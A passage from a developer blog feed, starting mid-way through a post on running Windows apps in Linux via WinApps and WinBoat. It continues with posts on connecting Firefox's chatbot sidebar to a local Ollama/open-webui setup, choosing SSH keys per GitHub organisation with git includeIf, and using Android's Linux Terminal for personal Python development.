56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> winapps-org/winapps </span> </a> </div> <div class="github-repo-text"> Run Windows apps such as Microsoft Office/Adobe in Linux (Ubuntu/Fedora) and GNOME/KDE as if they were a part of the native OS, including Nautilus integration. Hard fork of https://github.com/Fmstrat/winapps/</div> <div class="stats-icons"> <a href="https://github.com/winapps-org/winapps/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 14749 </a> <a href="https://github.com/winapps-org/winapps/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 450 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Shell</a> </div></div>
<p>WinApps can work with Windows installations in containers or virtual machines; it sets up shortcuts to Windows applications of your choosing, and integrates them into your Linux desktop environment including the system menu.</p>
<p>It can work with any Windows installation in a Docker container, Podman, or a Virtual Machine, it can even be a different server on the network, it just needs to be accessible via RDP.</p>
<p>The Winapps setup guide is quite straightforward and it walks you through setting up a Windows installation in a Docker container, a ready to go Docker Compose file, and a Winapps configuration file to connect to the Windows instance. An interesting aspect of the Docker approach is that the Windows VM is accessible via a browser tab using NoVNC, so you can interact with the Windows desktop if needed.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/native-windows-apps-in-linux/002.png">
<img src="https://code.mendhak.com/assets/images/native-windows-apps-in-linux/002.png" alt="Viewing the Windows VM from a browser tab" title="" loading="lazy" /></span>
<figcaption>Windows VM in a browser tab</figcaption>
</figure><p></p>
<p>Once this is set up, it’s a matter of running the Winapps script which helps configure the actual integration of shortcuts.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/native-windows-apps-in-linux/003.png">
<img src="https://code.mendhak.com/assets/images/native-windows-apps-in-linux/003.png" alt="Picking application in WinApps setting screen" title="" loading="lazy" /></span>
<figcaption>Picking applications</figcaption>
</figure><p></p>
<p>WinApps can be pretty flexible, and it even lets you create your own custom shortcuts to standalone applications. As an example, I recently needed to run the Epomaker Aula software for configuring my mechanical keyboard. I just ran the application from the Windows VM, passing it the USB device from Linux.</p>
<p>If you need to change the shortcuts available, or if you need to install different applications, you’ll have to rerun the setup script again. In any case, the integration into the system menu is pretty nice to have and feels seamless.</p>
<h2 id="winboat" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/native-windows-apps-in-linux/#winboat">WinBoat</a></h2>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/TibixDev/winboat"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> TibixDev/winboat </span> </a> </div> <div class="github-repo-text">Run Windows apps on 🐧 Linux with ✨ seamless integration</div> <div class="stats-icons"> <a href="https://github.com/TibixDev/winboat/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 19860 </a> <a href="https://github.com/TibixDev/winboat/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 548 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> TypeScript</a> </div></div>
<p>WinBoat works quite similarly to WinApps behind the scenes, but where WinApps focuses on being flexible, WinBoat focuses on making the process as simple and automated as possible.</p>
<p>It comes with its own installer GUI, as an AppImage or .deb package. The installer asks a few questions then automatically downloads the Windows ISO, sets up the Docker container, and configures everything.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/native-windows-apps-in-linux/004.png"><img src="https://code.mendhak.com/assets/images/native-windows-apps-in-linux/004.png" alt="Welcome to Winboat screen" title="" loading="lazy" data-caption="Winboat installer" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/native-windows-apps-in-linux/005.png"><img src="https://code.mendhak.com/assets/images/native-windows-apps-in-linux/005.png" alt="Pre-requisites screen" title="" loading="lazy" data-caption="Winboat setup process" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<p>Once that’s done, the WinBoat application lets you launch the Windows applications you need from its own UI. It doesn’t integrate the Windows applications with the system menu, instead it keeps the list contained within its own interface. I found this to be a nice and clean approach as well, it makes launching the application a deliberate action and keeps things separated.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/native-windows-apps-in-linux/006.png">
<img src="https://code.mendhak.com/assets/images/native-windows-apps-in-linux/006.png" alt="Winboat interface listing available applications" title="" loading="lazy" /></span>
<figcaption>Winboat main interface</figcaption>
</figure><p></p>
<h2 id="brief-mention-cassowary" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/native-windows-apps-in-linux/#brief-mention-cassowary">Brief mention - Cassowary</a></h2>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/casualsnek/cassowary"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> casualsnek/cassowary </span> </a> </div> <div class="github-repo-text">Run Windows Applications on Linux as if they are native, Use linux applications to launch files files located in windows vm without needing to install applications on vm. With easy to use configuration GUI</div> <div class="stats-icons"> <a href="https://github.com/casualsnek/cassowary/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 3492 </a> <a href="https://github.com/casualsnek/cassowary/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 96 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Python</a> </div></div>
<p>It’s worth mentioning the project Cassowary as well, it’s a similar project, but its happy path is using a Windows instance running in QEMU/KVM with virt-manager, but not Docker. It also integrations Windows applications into the Linux system menu, just like WinApps does. However the project hasn’t seen much activity recently, and I really wanted to focus on the Docker based approaches.</p>
<h2 id="test-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/native-windows-apps-in-linux/#test-notes">Test notes</a></h2>
<p>I liked both WinApps and WinBoat, both were pretty straightforward to set up and use. I liked that WinApps was quite flexible in where the Windows instance was running, while WinBoat was very user friendly.</p>
<p>There’s a slight lag the first time I launched an application as the RDP connection is established, but after that the performance was quite good.</p>
<p>There’s no real GPU integration that I could see, though <a href="https://github.com/TibixDev/winboat/issues/239">WinBoat has an open issue about it</a>. Having GPU integration would be extremely useful for the photo processing application I like to use, ON1 Photo RAW, and would give me one less major reason to dual boot. However, I still wouldn’t use this to run games; for that I’d still dual boot or use Proton thanks to the excellent work being done there.</p>
<p>Overall, these feel like a decent solution for running the occasional Windows application, but not for intense and prolonged use. It’s a nice option to have in the toolbox for when it’s needed, and it’s good to see that these projects have matured well over the past few years.</p>
<p>In an ideal world, this wouldn’t be necessary, but in reality there are oftentimes applications that are exclusive to non-free operating systems. So, wanting to run such applications can sometimes be necessary as many companies see absolutely nothing wrong with mining every possible advantage from the Linux ecosystem while contributing precisely nothing in return, aside from the occasional platitude alongside their Windows/Mac-only installers (a behaviour not dissimilar to leeches).</p>
Talking to a local LLM in the Firefox sidebar2025-09-04T00:00:00Zhttps://code.mendhak.com/firefox-local-chatbot-ollama/<p>Firefox has a chatbot sidebar that can be used to interact with the popular LLM chatbot providers, such as Claude, Gemini, and ChatGPT. It is possible to allow it to also talk to a local LLM, although it’s not a readily visible option.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/firefox-local-chatbot-ollama/001.png">
<img src="https://code.mendhak.com/assets/images/firefox-local-chatbot-ollama/001.png" alt="Firefox running open-webui with ollama, with the qwen2 model loaded" title="" loading="lazy" /></span>
<figcaption>Firefox with local chatbot</figcaption>
</figure><p></p>
<p>The steps, roughly, involved installing ollama, open-webui, and configuring Firefox.</p>
<h2 id="ollama" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/firefox-local-chatbot-ollama/#ollama">Ollama</a></h2>
<p>Ollama is a tool that helps simplify running LLMs locally, and it provides a CLI as well as an HTTP API interface. Installing ollama was simple enough, there’s <a href="https://github.com/ollama/ollama/blob/main/docs/linux.mdx">a convenience script</a> which also sets it up as a systemd service.</p>
<p>The only change I made was to the <code>/etc/systemd/system/ollama.service</code> file, to make it listen on all interfaces. I added this line to the [Service] section:</p>
<pre class="language-ini"><code class="language-ini">...
<span class="token section"><span class="token punctuation">[</span><span class="token section-name selector">Service</span><span class="token punctuation">]</span></span>
<span class="token key attr-name">Environment</span><span class="token punctuation">=</span><span class="token value attr-value">"<span class="token inner-value">OLLAMA_HOST=0.0.0.0</span>"</span>
...</code></pre>
<p>Of course I also pulled a few models locally:</p>
<pre class="language-bash"><code class="language-bash">ollama pull llama3.2:1b
ollama pull qwen2.5:1.5b</code></pre>
<h2 id="open-webui" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/firefox-local-chatbot-ollama/#open-webui">open-webui</a></h2>
<p>While Ollama just provides an API, it has no web interface. The Firefox chatbot sidebar needs to load a web interface, that’s where <a href="https://github.com/open-webui/open-webui">open-webui</a> comes in.</p>
<p>I decided to run it in Docker.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">-d</span> <span class="token parameter variable">-p</span> <span class="token number">8080</span>:8080 --add-host<span class="token operator">=</span>host.docker.internal:host-gateway <span class="token parameter variable">-v</span> open-webui:/app/backend/data <span class="token parameter variable">--name</span> open-webui <span class="token parameter variable">--restart</span> always ghcr.io/open-webui/open-webui:main</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/firefox-local-chatbot-ollama/002.png">
<img src="https://code.mendhak.com/assets/images/firefox-local-chatbot-ollama/002.png" alt="docker logs of open-webui container" title="" loading="lazy" /></span>
<figcaption>open-webui running in Docker</figcaption>
</figure><p></p>
<p>Then quickly tested it by browsing to http://localhost:8080.</p>
<p>Since ollama is listening on all interfaces, the open-webui container can reach it easily. It also conveniently lists all the models that ollama has downloaded.</p>
<h2 id="firefox-config" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/firefox-local-chatbot-ollama/#firefox-config">Firefox config</a></h2>
<p>The final bit is to tell Firefox to use the local open-webui. This was done by setting a preference.</p>
<p>Under <code>about:config</code>, I searched for <code>browser.ml.chat.hideLocalhost</code> and set it to <code>false</code>. By default, Firefox will now look for an interface running on http://localhost:8080, which open-webui just happens to run on.</p>
<p>That’s it, the chatbot sidebar started showing “localhost” as an option in the top dropdown.</p>
<p>If not on port 8080, the URL can be set manually by changing <code>browser.ml.chat.provider</code> to the actual URL.</p>
<h2 id="notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/firefox-local-chatbot-ollama/#notes">Notes</a></h2>
<p>Although it’s possible, and great for privacy as well as tinkering, I don’t generally like messing about in the <code>about:config</code> settings. It’s too easy to forget what’s been changed, and why.</p>
<p>If I want to make this a more permanent solution, I’d probably look to run open-webui in systemd too. I don’t think this would be a huge strain on the system, since ollama does unload the models from memory when not in use.</p>
Managing multiple SSH keys for multiple GitHub organisations in a simple way2025-08-19T00:00:00Zhttps://code.mendhak.com/github-multiple-ssh-keys/<p>When working with multiple GitHub organisations, it is common to have to manage multiple SSH keys for git operations.</p>
<p>The following solution is the one I have found to be the most convenient, with the least amount of overhead or behavioral changes, and as close to seamless as possible.</p>
<p>Suppose you are in two orgs, <code>org_1</code> and <code>org_2</code>, and you have registered two SSH keys <code>id_ed25519_org_1</code> and <code>id_ed25519_org_2</code> for those orgs.</p>
<p>First, create a configuration file for each org.</p>
<p>For <code>org_1</code>, create <code>~/.gitconfig_org_1</code> with an SSH command that uses the key for that org. Replace the path to the SSH key with yours.</p>
<pre class="language-ini"><code class="language-ini"><span class="token section"><span class="token punctuation">[</span><span class="token section-name selector">core</span><span class="token punctuation">]</span></span>
<span class="token key attr-name">sshCommand</span> <span class="token punctuation">=</span> <span class="token value attr-value">"<span class="token inner-value">ssh -i /home/ubuntu/.ssh/id_ed25519_org_1 -F /dev/null</span>"</span></code></pre>
<p>Similarly, for <code>org_2</code>, create <code>~/.gitconfig_org_2</code> with the key path for that org.</p>
<pre class="language-ini"><code class="language-ini"><span class="token section"><span class="token punctuation">[</span><span class="token section-name selector">core</span><span class="token punctuation">]</span></span>
<span class="token key attr-name">sshCommand</span> <span class="token punctuation">=</span> <span class="token value attr-value">"<span class="token inner-value">ssh -i /home/ubuntu/.ssh/id_ed25519_org_2 -F /dev/null</span>"</span></code></pre>
<p>Now, edit your main <code>~/.gitconfig</code> file to include those org-specific files by adding the following lines. Replace <code>org_1</code> and <code>org_2</code> with the names of your Github organisations.</p>
<pre class="language-ini"><code class="language-ini"><span class="token section"><span class="token punctuation">[</span><span class="token section-name selector">includeIf "hasconfig:remote.*.url:git@github.com:org_1/**"</span><span class="token punctuation">]</span></span>
<span class="token key attr-name">path</span> <span class="token punctuation">=</span> <span class="token value attr-value">~/.gitconfig_org_1</span>
<span class="token section"><span class="token punctuation">[</span><span class="token section-name selector">includeIf "hasconfig:remote.*.url:git@github.com:org_2/**"</span><span class="token punctuation">]</span></span>
<span class="token key attr-name">path</span> <span class="token punctuation">=</span> <span class="token value attr-value">~/.gitconfig_org_2</span></code></pre>
<p>That’s it. You can now do a git clone against a repo, and the correct SSH key will be used. The output should look something like this:</p>
<pre><code>$ git clone git@github.com:org_1/my_repo.git
Cloning into 'my_repo'...
Enter passphrase for key '/home/mendhak/.ssh/id_ed25519_org_1':
remote: Enumerating objects...
...
</code></pre>
<p>Similarly when cloning a repo in org_2, git will use the correct key.</p>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-multiple-ssh-keys/#how-it-works">How it works</a></h2>
<p>The <a href="https://git-scm.com/docs/git-config#_includes"><code>includeIf</code> section</a> in .gitconfig allows conditionally including configuration from another file. There are different kinds of conditions, and the <code>hasconfig:remote</code> is what’s being used here. The fragment will match on the remote URL of the repository.</p>
<p>The reason it works is because for repos in org_1, the git clone URL will include the name of the org, org_1: <code>git@github.com:org_1/my_repo.git</code>. An org_2 repo will have a URL like <code>git@github.com:org_2/my_repo.git</code>.</p>
<p>By matching on these fragments, we include different configuration files. Those configuration files in turn set the <code>sshCommand</code> to make use of the correct SSH keys.</p>
<h2 id="managing-multiple-ssh-signing-keys" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-multiple-ssh-keys/#managing-multiple-ssh-signing-keys">Managing multiple SSH signing keys</a></h2>
<p>I’ve previously written about <a href="https://code.mendhak.com/github-multiple-ssh-keys/2024-02-15-keepassxc-sign-git-commit-with-ssh.md">signing git commits using SSH keys</a>. When there are multiple SSH keys for multiple organisations, the process is similar to the above.</p>
<p>Modify the <code>~/.gitconfig_org_1</code> and <code>~/.gitconfig_org_2</code> files to include the <code>user.signingkey</code> configuration.</p>
<pre class="language-ini"><code class="language-ini"><span class="token section"><span class="token punctuation">[</span><span class="token section-name selector">user</span><span class="token punctuation">]</span></span>
signingkey "key::ssh-ed25519 AAAAC3Nz...."</code></pre>
<p>This configuration will get picked up based on the remote URL of the repo you’re working with. Do remember to add the new public key to your Github account, and the <code>~/.ssh/allowed_signers</code> file too.</p>
<h2 id="solutions-i-didn-t-like" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-multiple-ssh-keys/#solutions-i-didn-t-like">Solutions I didn’t like</a></h2>
<p>In my research, these were the most common solutions as suggested on the internet and various mediocre LLM responses.</p>
<h3 id="modifying-the-ssh-config" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-multiple-ssh-keys/#modifying-the-ssh-config">Modifying the SSH config</a></h3>
<p>This is the most common solution I see, which is to use multiple Host entries that all point at github.com, but with different keys.</p>
<pre><code>Host github_org1
HostName github.com
User git
IdentityFile ~/.ssh/id_ed25519_org_1
IdentitiesOnly yes
Host github_org2
HostName github.com
User git
IdentityFile ~/.ssh/id_ed25519_org_2
IdentitiesOnly yes
</code></pre>
<p>This isn’t great, because you have to change the git clone URL whenever you’re cloning: <code>git clone git@github_org1:my_repo.git</code>, where the <code>github.com</code> has been replaced with <code>github_org1</code>.</p>
<h3 id="matching-on-directories" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-multiple-ssh-keys/#matching-on-directories">Matching on directories</a></h3>
<p>Another common solution is to match on the directory name. Here you clone repos into different directories for each org. It’s somewhat similar to the main one above.</p>
<pre><code>[includeIf "gitdir:~/org_1/**"]
path = ~/.gitconfig_org_1
[includeIf "gitdir:~/org_2/**"]
path = ~/.gitconfig_org_2
</code></pre>
<p>Not terrible, but the downside is that you have to clone into a specific destination, and that isn’t very intuitive or flexible.</p>
<h3 id="helper-scripts-to-switch-keys" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/github-multiple-ssh-keys/#helper-scripts-to-switch-keys">Helper scripts to switch keys</a></h3>
<p>No.</p>
Developing personal Python apps for Android's Linux environment2025-08-10T00:00:00Zhttps://code.mendhak.com/python-apps-android-linux/<p>Since the Linux Terminal app was introduced for Android, I’ve been curious about the possibilities it could open up for personal app development.</p>
<p>Considering that a smartphone is a portable computer, it makes sense that a user ought to have the ability to run their own apps on their own devices. The notion of running bespoke scripts or utilities for personal workflows feels logical and privacy friendly (and is long overdue).</p>
<h2 id="exploring-and-installing-tools" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/python-apps-android-linux/#exploring-and-installing-tools">Exploring and installing tools</a></h2>
<p>The Android Linux Terminal app is <a href="https://www.androidauthority.com/android-linux-terminal-app-3489887/">technically a webview</a> which connects to a local Debian Bookworm VM, and works well. All the usual suspects worked straight away.</p>
<p>It is a tradition that the first thing to do is run <code>neofetch</code>:</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/001.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/001.png" alt="" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Neofetch, as is tradition</figcaption></figure>
<p>The Gemini CLI installed, and the authentication step was straightforward. Of course I have also configured it to be <a href="https://code.mendhak.com/posts/2025-06-30-gemini-cli-adhoc-helper.md">a simple adhoc helper</a>, so I can just type <code>? "How do I..."</code> and get an answer.</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/002.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/002.png" alt="" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Gemini CLI</figcaption></figure>
<p>The new <a href="https://code.mendhak.com/posts/2025-06-02-microsoft-edit-cli-text-editor.md"><code>edit</code> text editor</a> had no issues. It even recognizes menu clicks with the finger, which is a nice touch (ha…).</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/003.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/003.png" alt="" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Microsoft Edit</figcaption></figure>
<p>More developer focused tools like <code>docker</code> and <code>uv</code> installed using their normal Linux instructions, and didn’t feel slow at all.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/004.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/004.png" alt="uv commands are still fast" loading="lazy" data-caption="uv commands are still fast" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/005.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/005.png" alt="A docker container running the http-https-echo listener" loading="lazy" data-caption="A docker container running the http-https-echo listener" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/006.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/006.png" alt="Hitting it from a browser" loading="lazy" data-caption="Hitting it from a browser" style="width: calc(33% - 0.5em);" /></span>
<figcaption><code>uv</code> and <code>docker</code></figcaption></figure>
<h2 id="reaching-ports-from-the-outside" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/python-apps-android-linux/#reaching-ports-from-the-outside">Reaching ports from the outside</a></h2>
<p>One limitation though, is that the ports are only accessible locally from the device itself. That is, <code>http://localhost:8080</code> from the Android device worked, but <code>http://<my-phone-ip>:8080</code> from another device on the network did not.</p>
<p>But this was overcome thanks to Tailscale, a ‘mesh network’ utility that allows connecting devices together securely, even if they are on different networks. I installed Tailscale using <a href="https://tailscale.com/kb/1031/install-linux">its convenience script</a>. With this in place I was able to access the container port from my desktop using the Tailscale DNS address.</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/007.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/007.png" alt="" loading="lazy" style="" /></span><figcaption>Connecting to a listening port on Android Linux Terminal via Tailscale</figcaption></figure>
